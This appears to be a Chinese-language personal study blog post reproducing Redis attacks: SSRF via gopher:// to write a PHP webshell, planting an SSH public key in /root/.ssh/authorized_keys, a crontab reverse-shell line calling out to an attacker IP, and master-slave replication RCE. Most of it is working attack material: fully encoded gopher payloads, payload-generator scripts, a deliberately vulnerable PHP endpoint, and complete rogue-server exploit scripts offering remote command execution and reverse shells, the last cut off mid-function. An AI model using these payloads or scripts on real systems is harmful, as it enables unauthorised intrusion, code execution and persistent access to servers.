前言
面試問到了,只知道有哪些,但是沒有自己實踐過。這里學習記錄下。
前置知識
SSRF介紹
SSRF,服務器端請求偽造,服務器請求偽造,是由攻擊者構造的漏洞,用於形成服務器發起的請求。通常,SSRF攻擊的目標是外部網絡無法訪問的內部系統
CONFIG SET
Redis Config Set 命令可以動態地調整 Redis 服務器的配置(configuration)而無須重啟。
你可以使用它修改配置參數,或者改變 Redis 的持久化(Persistence)方式。
CONFIG SET dir /VAR/WWW/HTML CONFIG SET dbfilename sh.php SET PAYLOAD '<?php eval($_GET[0]);?>' SAVE
這是之前redis常用的getshell套路。但是由於權限問題,並不是總能成功寫入文件。
RESP協議
Redis
服務器與客戶端通過RESP
(REdis Serialization Protocol)協議通信。
RESP協議是在Redis 1.2中引入的,但它成為了與Redis 2.0中的Redis服務器通信的標准方式。這是您應該在Redis客戶端中實現的協議。
RESP實際上是一個支持以下數據類型的序列化協議:簡單字符串,錯誤,整數,批量字符串和數組。
RESP在Redis中用作請求 - 響應協議的方式如下:
- 客戶端將命令作為
Bulk Strings
的RESP數組發送到Redis服務器。 - 服務器根據命令實現回復一種RESP類型。
在RESP中,某些數據的類型取決於第一個字節:
對於Simple Strings
,回復的第一個字節是+
對於error
,回復的第一個字節是-
對於Integer
,回復的第一個字節是:
對於Bulk Strings
,回復的第一個字節是$
對於array
,回復的第一個字節是*
此外,RESP
能夠使用稍后指定的Bulk Strings
或Array
的特殊變體來表示Null
值。
在RESP中,協議的不同部分始終以"\r\n"(CRLF)
結束。
這里本地測試下
tcpdump port 6379 -w nopass.pcap
無論用tcpdump還是socat轉發都抓不到任何流量,我傻了。用了socat也是一樣。發現達不到文章中的效果。崩潰了,搞了好幾個小時,根本抓不到本地的。害,只能遠程
可以看到
中間還有很多亂碼
后面才搞懂。是可以利用socat的,看一篇文章中的解釋,沒看清,我暈。
我們這里先開啟redis-server /etc/redis.conf
在執行,意思為將4444端口收到的請求轉發給6379端口(我TM就擱着浪費了2個小時,文章中沒說清楚socat兩個端口,還整一個6378和6379,哎,應該早點去百度下socat的命令的,煞x了)
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
這里用redis-cli連接4444端口,就可以抓到數據了,用tcpdump有亂碼
每行都是\r結尾的,但是redis的協議是以CRLF結尾,所以如果這樣的數據直接復制粘貼下來去轉換的時候,要把\r
轉換為%0d%0a
客戶端向將命令作為Bulk Strings
的RESP數組發送到Redis服務器,然后服務器根據命令實現回復給客戶端一種RESP類型。
我們就拿上面的數據包分析,首先是*3
,代表數組的長度為3(可以簡單理解為用空格為分隔符將命令分割為["set","name","test"]);$3
代表字符串的長度,0d0a
即\r\n
表示結束符;+OK
表示服務端執行成功后返回的字符串
Redis配合gopher協議進行SSRF
Gopher協議
Gopher
協議是 HTTP 協議出現之前,在 Internet 上常見且常用的一個協議,不過現在gopher協議用得已經越來越少了Gopher
協議可以說是SSRF中的萬金油,。利用此協議可以攻擊內網的 redis、ftp等等,也可以發送 GET、POST 請求。這無疑極大拓寬了 SSRF 的攻擊面。
當存在ssrf漏洞,並且有回顯的時候
test.php
<?php
$ch = curl_init(); // 創建一個新cURL資源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 設置URL和相應的選項
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL並把它傳遞給瀏覽器
curl_close($ch); // 關閉cURL資源,並且釋放系統資源
?>
redis常見的SSRF攻擊方式大概有這幾種:
-
絕對路徑寫webshell
-
寫ssh公鑰
-
寫contrab計划任務反彈shell
我逐個來嘗試復現
絕對路徑寫webshell
利用條件:
1、目標存在web目錄
2、已知web絕對路徑
3、存在寫入權限
構造如下payload:
flushall set 1 '<?php phpinfo();?>' config set dir /var/www/html config set dbfilename shell.php save
整理獲得如下payload
*1\r $8\r flushall\r *3\r $3\r set\r $1\r 1\r $18\r <?php phpinfo();?>\r *4\r $6\r config\r $3\r set\r $3\r dir\r $13\r /var/www/html\r *4\r $6\r config\r $3\r set\r $10\r dbfilename\r $9\r shell.php\r *1\r $4\r save\r
這里給出Joychu師傅給出的轉換規則
- 如果第一個字符是
>
或者<
那么丟棄該行字符串,表示請求和返回的時間。- 如果前3個字符是
+OK
那么丟棄該行字符串,表示返回的字符串。- 將
\r
字符串替換成%0d%0a
- 空白行替換為
%0a
Joychu師傅的轉換腳本:
#coding: utf-8 #author: JoyChou import sys exp = '' with open(sys.argv[1]) as f: for line in f.readlines(): if line[0] in '><+': continue # 判斷倒數第2、3字符串是否為\r elif line[-3:-1] == r'\r': # 如果該行只有\r,將\r替換成%0a%0d%0a if len(line) == 3: exp = exp + '%0a%0d%0a' else: line = line.replace(r'\r', '%0d%0a') # 去掉最后的換行符 line = line.replace('\n', '') exp = exp + line # 判斷是否是空行,空行替換為%0a elif line == '\x0a': exp = exp + '%0a' else: line = line.replace('\n', '') exp = exp + line print exp
再放一個七友師傅寫的腳本:
import urllib protocol="gopher://" ip="192.168.163.128" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
這里我們已經自己手動過濾了一下,用sinensis師傅寫的即可
f = open('payload.txt', 'r') s = '' for line in f.readlines(): line = line.replace(r"\r", "%0d%0a") line = line.replace("\n", '') s = s + line print s.replace("$", "%24")
本地curl嘗試
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
這里也可以用gopherus,直接生成
curl -v "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
成功
在ssrf利用的時候將redis命令部分在進行urlencode一次即可(這里我用的是靶機 10003開的是80,10004開的redis的6379)
http://xx.xx.xx.28:10003/test.php?url=gopher://xx.xx.xx.28:10004/_*1%250d%250a%25248%250d%250aflushall%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252418%250d%250a%3C%3Fphp%20phpinfo()%3B%3F%3E%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2Fvar%2Fwww%2Fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a
上面是我用自己生成的phpinfo payload打沒有打成功。將gopher的payload再次urlencode一次后,發現能打成功。
http://xx.xxx.xx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527yunying%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
對比了一下第一次的payload,除了可能內容上我寫的是phpinfo,而gopherus寫的是shell
my: gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a gopherus: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
my:
gopherus:
my:
問題應該出在這兩個換行,從我自己的可以看到,payload被一些亂碼干擾到。所以gopherus這里換行的目的應該是不讓亂碼字符干擾payload
像Joychu師傅這里的是58個字符,這里payload前面用三個換行,結束用了四個換行,加上原來的一共61個
而上面gopherus生成的默認都是前兩個后兩個換行,可以從redis.py源碼也能看到
這里在記錄下\r\n的東西
Unix系統里,每行結尾只有“<換行>”,即“\n”;Windows系統里面,每行結尾是“<換行><回車>”,即“\n\r”;Mac系統里,每行結尾是“<回車>”。一個直接后果是,Unix/Mac系統下的文件在Windows里打開的話,所有文字會變成一行;而Windows里的文件在Unix/Mac下打開的話,在每行的結尾可能會多出一個^M符號
也就是說,再linux中直接用python腳本調用urlencode一次,默認每行結尾都有\n即%0a,但是RESP協議規定始終以CRLF結尾,即\r\n結尾,因此都會加一個\r,這樣就滿足了RESP協議的規定。就先寫到這了,明兒繼續,1點了睡覺~。
為了驗證一下,手動修改增加兩個換行符%0a,並且增加字符數,發現仍然不行。回頭一想既然用我自己構造的payload本地gopher直接打redis是可以打出來的,應該是url編碼問題。第一次本地打gopher不是在ssrf利用的時候發現就已經整體urlencode了一遍(不知特殊字符),並且將*等都urlencode了。這里我通過python url全編碼嘗試。意思就是不需要通過sinensis師傅的轉換腳本,我們直接將手動濾出的redis命令通過urllib.quote_plus(測試用urllib.quote即可,_plus會將空格轉化為+號)
import urllib test="""*1 $8 flushall *3 $3 set $1 1 $18 <?php phpinfo();?> *4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $9 shell.php *1 $4 save""" test1=test.split("\n"); payload="" for i in test1: payload+=i+"\r\n" print urllib.quote(payload)
這里可以發現確實是url編碼的問題,再次全編碼轉后的數據
第一次: %2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2418%0D%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A 第二次: %252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
第二次:
http://xx.xxx.xxx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如果這樣利用的話,不需要這么麻煩,推薦用gopherus生成的payload再urlencode一次即可,或者用七友師傅的腳本生成的payload再次urlencode一次即可在ssrf漏洞中攻擊redis絕對路徑寫shell
寫ssh公鑰
在以下條件下,可以利用此方法
Redis服務使用ROOT賬號啟動
服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。
如果.ssh
目錄存在,則直接寫入~/.ssh/authorized_keys
如果不存在,則可以利用crontab
創建該目錄
跟上面的寫shell方式類似,我先嘗試本地利用再利用ssrf漏洞上打exp
我們先本地生成一對密鑰
本地的命令如下:
flushall set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying ' config set dir /root/.ssh/ config set dbfilename authorized_keys save
socat抓一下redis流量直接過濾出來
*1\r $8\r flushall\r *3\r $3\r set\r $1\r 1\r $565\r ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying\r *4\r $6\r config\r $3\r set\r $3\r dir\r $11\r /root/.ssh/\r *4\r $6\r config\r $3\r set\r $10\r dbfilename\r $15\r authorized_keys\r *1\r $4\r save\r
這里本地可以利用私鑰登錄嘗試,不過這里我沒有設置
登陸(即通過客戶端公鑰認證)這里用curl本地打一下
還是那個問題,最好還是最前面和最后面加兩個換行,不要干擾到我們插入的數據
手動加了兩個換行的就是這樣的,將數據放在了中間,不要讓一些亂碼干擾到數據
這里不用SSRF再打了,url編碼搞定,基本再encode一次即可
計划任務寫shell
利用條件:權限可寫計划任務
這個方法只能
Centos
上使用,Ubuntu上行不通
,原因如下:
因為默認redis寫文件后是644的權限,但ubuntu要求執行定時任務文件
/var/spool/cron/crontabs/<username>
權限必須是600也就是-rw-------
才會執行,否則會報錯(root) INSECURE MODE (mode 0600 expected)
,而Centos的定時任務文件/var/spool/cron/<username>
權限644也能執行因為redis保存RDB會存在亂碼,在Ubuntu上會報錯,而在Centos上不會報錯
由於系統的不同,crontrab定時文件位置也會不同
Centos的定時任務文件在/var/spool/cron/<username>
Ubuntu定時任務文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root權限)/etc/crontab
PS:高版本的redis默認啟動是redis
權限,故寫這個文件是行不通的在redis以root權限運行時可以寫crontab來執行命令反彈shell
這里靶機是ubuntu和kali所以就不實際操作一下了。
命令如下 :
flushall set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n' config set dir /var/spool/cron/ config set dbfilename root save
明天學習下主從復制,最近有些心態不好。
主從復制RCE
介紹
redis 4.x/5.x RCE是由LC/BC
戰隊隊員Pavel Toporkov
在zeronights 2018
上提出的基於主從復制的redis rce,演講的PPT地址為:PPT(純英文)
攻擊場景
能夠訪問遠程redis的端口(直接訪問或者SSRF)
對redis服務器可以訪問到的另一台服務器有控制權
可影響版本范圍redis 4.x-5.0.5
主從復制
主從復制,是指將一台Redis服務器的數據,復制到其他的Redis服務器。前者稱為主節點(master),后者稱為從節點(slave);數據的復制是單向的,只能由主節點到從節點。 redis的持久化使得機器即使重啟數據也不會丟失,因為redis服務器重啟后會把硬盤上的文件重新恢復到內存中,但是如果硬盤的數據被刪除的話數據就無法恢復了,如果通過主從復制就能解決這個問題,主redis的數據和從redis上的數據保持實時同步,當主redis寫入數據是就會通過主從復制復制到其它從redis。
建立主從復制,有3種方式:
- 配置文件寫入
slaveof <master_ip> <master_port>
- redis-server啟動命令后加入
--slaveof <master_ip> <master_port>
- 連接到客戶端之后執行:slaveof
<master_ip> <master_port>
PS:建立主從關系只需要在從節點操作就行了,主節點不用任何操作
執行如下:
root@kali:/usr/bin# redis-cli -p 6379 127.0.0.1:6379> SLAVEOF 127.0.0.1 6380 SLAVEOF命令為redis設置主服務器。 OK 127.0.0.1:6379> get test (nil) 127.0.0.1:6379> exit root@kali:/usr/bin# redis-cli -p 6380 127.0.0.1:6380> get test (nil) 127.0.0.1:6380> set test "test" OK 127.0.0.1:6380> get test "test" 127.0.0.1:6380> exit root@kali:/usr/bin# redis-cli -p 6379 127.0.0.1:6379> get test "test"
執行一波,我們可以明顯看到數據達到了同步的效果.
如果我們想解除主從關系可以執行SLAVEOF NO ONE
PPT中的攻擊步驟
SLAVE和MASTER之間的握手機制如下:
#define REPL_STATE_CONNECTING 2 /* 等待和master連接 */ /* --- 握手狀態開始 --- */ #define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */ #define REPL_STATE_SEND_AUTH 4 /* 發送認證消息 */ #define REPL_STATE_RECEIVE_AUTH 5 /* 等待認證回復 */ #define REPL_STATE_SEND_PORT 6 /* 發送REPLCONF信息,主要是當前實例監聽端口 */ #define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */ #define REPL_STATE_SEND_CAPA 8 /* 發送REPLCONF capa */ #define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */ #define REPL_STATE_SEND_PSYNC 10 /* 發送PSYNC */ #define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */ /* --- 握手狀態結束 --- */ #define REPL_STATE_TRANSFER 12 /* 正在從master接收RDB文件 */
握手后SLAVE將向MASTER發送PSYNC請求同步,一般有三種狀態:
- FULLRESYNC:表示需要全量復制
- CONTINUE:表示可以進行增量同步
- ERR:表示主服務器還不支持PSYNC
全量復制到 過程
1.slave向master發送PSYNC請求,並攜帶master的runid和offest,如果是第一次連接的話slave不知道master的runid,所以會返回runid為?
,offest為-1
2.master驗證slave發來的runid是否和自身runid一致,如不一致,則進行全量復制,slave並對master發來的runid和offest進行保存
3.master把自己的runid和offset發給slave
4.master進行bgsave,生成RDB文件
5.master將寫好的RDB文件傳輸給slave,並將緩沖區內的數據傳輸給slave
6.slave加載RDB文件和緩沖區數據
並且自從Redis4.x之后redis新增了一個模塊功能,Redis模塊可以使用外部模塊擴展Redis功能,以一定的速度實現新的Redis命令,並具有類似於核心內部可以完成的功能。
Redis模塊是動態庫,可以在啟動時或使用MODULE LOAD
命令加載到Redis中。
具體攻擊流程:
配置一個我們需要以master身份給slave傳輸so文件的服務,大致流程如下
PING 測試連接是否可用 +PONG 告訴slave連接可用 REPLCONF 發送REPLCONF信息,主要是當前實例監聽端口 +OK 告訴slave成功接受 REPLCONF 發送REPLCONF capa +OK 告訴slave成功接受 PSYNC <rundi> <offest> 發送PSYNC
將要攻擊的redis服務器設置成我們的slave
SLAVEOF ip port
設置RDB文件
PS:這里注意以下exp.so是不能包含路徑的,如果需要設置成其它目錄請用config set dir path
config set dbfilename exp.so
告訴slave使用全量復制並從我們配置的Rouge Server接收module
+FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
其中<runid>
無要求,不過長度一般為40,<offest>
一般設置為1
兩個exp鏈接:
https://github.com/vulhub/redis-rogue-getshell
https://github.com/n0b0dyCN/redis-rogue-server
也可以參考七友師傅寫的exp
import socket import time CRLF="\r\n" payload=open("exp.so","rb").read() exp_filename="exp.so" def redis_format(arr): global CRLF global payload redis_arr=arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len(x))+CRLF+x cmd+=CRLF return cmd def redis_connect(rhost,rport): sock=socket.socket() sock.connect((rhost,rport)) return sock def send(sock,cmd): sock.send(redis_format(cmd)) print(sock.recv(1024).decode("utf-8")) def interact_shell(sock): flag=True try: while flag: shell=raw_input("\033[1;32;40m[*]\033[0m ") shell=shell.replace(" ","${IFS}") if shell=="exit" or shell=="quit": flag=False else: send(sock,"system.exec {}".format(shell)) except KeyboardInterrupt: return def RogueServer(lport): global CRLF global payload flag=True result="" sock=socket.socket() sock.bind(("0.0.0.0",lport)) sock.listen(10) clientSock, address = sock.accept() while flag: data = clientSock.recv(1024) if "PING" in data: result="+PONG"+CRLF clientSock.send(result) flag=True elif "REPLCONF" in data: result="+OK"+CRLF clientSock.send(result) flag=True elif "PSYNC" in data or "SYNC" in data: result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF result += "$" + str(len(payload)) + CRLF result = result.encode() result += payload result += CRLF clientSock.send(result) flag=False if __name__=="__main__": lhost="192.168.163.132" lport=6666 rhost="192.168.163.128" rport=6379 passwd="" redis_sock=redis_connect(rhost,rport) if passwd: send(redis_sock,"AUTH {}".format(passwd)) send(redis_sock,"SLAVEOF {} {}".format(lhost,lport)) send(redis_sock,"config set dbfilename {}".format(exp_filename)) time.sleep(2) RogueServer(lport) send(redis_sock,"MODULE LOAD ./{}".format(exp_filename)) interact_shell(redis_sock)
#修改一下port,host即可,不過是命令執行模式,上面的exp有反彈shell
上面的一些看完后基本就能理解了,攻擊方式就是通過設置惡意的redis服務器,未授權登陸受害redis服務器,將受害redis服務器設置為slave從服務器並且設置RDB文件名,然后惡意redis告訴slave使用全量復並從我們配置的Rouge Server接收module,然后通過發送MODULE MODE命令加載惡意模塊
復現docker:https://github.com/vulhub/vulhub/tree/master/redis/4-unacc
在中途有報錯
發現是在return msg.decode('gb18030')出現了多字節編碼的問題,百度查了下別人修改的腳本,修改后的exp如下:
#coding:utf-8 import socket import sys from time import sleep from optparse import OptionParser import re CLRF = "\r\n" SERVER_EXP_MOD_FILE = "exp.so" DELIMITER = b"\r\n" BANNER = """______ _ _ ______ _____ | ___ \ | (_) | ___ \ / ___| | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __ | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__| | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ | \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_| __/ | |___/ @copyright n0b0dy @ r3kapig """ def encode_cmd_arr(arr): cmd = "" cmd += "*" + str(len(arr)) for arg in arr: cmd += CLRF + "$" + str(len(arg)) cmd += CLRF + arg cmd += "\r\n" return cmd def encode_cmd(raw_cmd): return encode_cmd_arr(raw_cmd.split(" ")) def decode_cmd(cmd): if cmd.startswith("*"): raw_arr = cmd.strip().split("\r\n") return raw_arr[2::2] if cmd.startswith("$"): return cmd.split("\r\n", 2)[1] return cmd.strip().split(" ") def info(msg): print(f"\033[1;32;40m[info]\033[0m {msg}") def error(msg): print(f"\033[1;31;40m[err ]\033[0m {msg}") def decode_command_line(data): if not data.startswith(b'$'): return data.decode(errors='ignore') offset = data.find(DELIMITER) size = int(data[1:offset]) offset += len(DELIMITER) data = data[offset:offset+size] print(data) return data.decode(errors='ignore') def din(sock, cnt=65535): global verbose msg = sock.recv(cnt) if verbose: if len(msg) < 1000: print(f"\033[1;34;40m[->]\033[0m {msg}") else: print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}") if sys.version_info < (3, 0): res = re.sub(r'[^\x00-\x7f]', r'', msg) else: res = re.sub(b'[^\x00-\x7f]', b'', msg) print(decode_command_line(msg)) return decode_command_line(msg) def dout(sock, msg): global verbose if type(msg) != bytes: msg = msg.encode() sock.send(msg) if verbose: if len(msg) < 1000: print(f"\033[1;33;40m[<-]\033[0m {msg}") else: print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") def decode_shell_result(s): return "\n".join(s.split("\r\n")[1:-1]) class Remote: def __init__(self, rhost, rport): self._host = rhost self._port = rport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.connect((self._host, self._port)) def send(self, msg): dout(self._sock, msg) def recv(self, cnt=65535): return din(self._sock, cnt) def do(self, cmd): self.send(encode_cmd(cmd)) buf = self.recv() return buf def shell_cmd(self, cmd): self.send(encode_cmd_arr(['system.exec', f"{cmd}"])) buf = self.recv() return buf class RogueServer: def __init__(self, lhost, lport): self._host = lhost self._port = lport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.bind(('0.0.0.0', self._port)) self._sock.listen(10) def close(self): self._sock.close() def handle(self, data): cmd_arr = decode_cmd(data) resp = "" phase = 0 if cmd_arr[0].startswith("PING"): resp = "+PONG" + CLRF phase = 1 elif cmd_arr[0].startswith("REPLCONF"): resp = "+OK" + CLRF phase = 2 elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"): resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase def exp(self): cli, addr = self._sock.accept() while True: data = din(cli, 1024) if len(data) == 0: break resp, phase = self.handle(data) dout(cli, resp) if phase == 3: break def interact(remote): info("Interact mode start, enter \"exit\" to quit.") try: while True: cmd = input("\033[1;32;40m[<<]\033[0m ").strip() if cmd == "exit": return r = remote.shell_cmd(cmd) for l in decode_shell_result(r).split("\n"): if l: print("\033[1;34;40m[>>]\033[0m " + l) except KeyboardInterrupt: pass def reverse(remote): info("Open reverse shell...") addr = input("Reverse server address: ") port = input("Reverse server port: ") dout(remote, encode_cmd(f"system.rev {addr} {port}")) info("Reverse shell payload sent.") info(f"Check at {addr}:{port}") def cleanup(remote): info("Unload module...") remote.do("MODULE UNLOAD system") def runserver(rhost, rport, lhost, lport): # expolit remote = Remote(rhost, rport) info("Setting master...") remote.do(f"SLAVEOF {lhost} {lport}") info("Setting dbfilename...") remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}") sleep(2) rogue = RogueServer(lhost, lport) rogue.exp() sleep(2) info("Loading module...") remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}") info("Temerory cleaning up...") 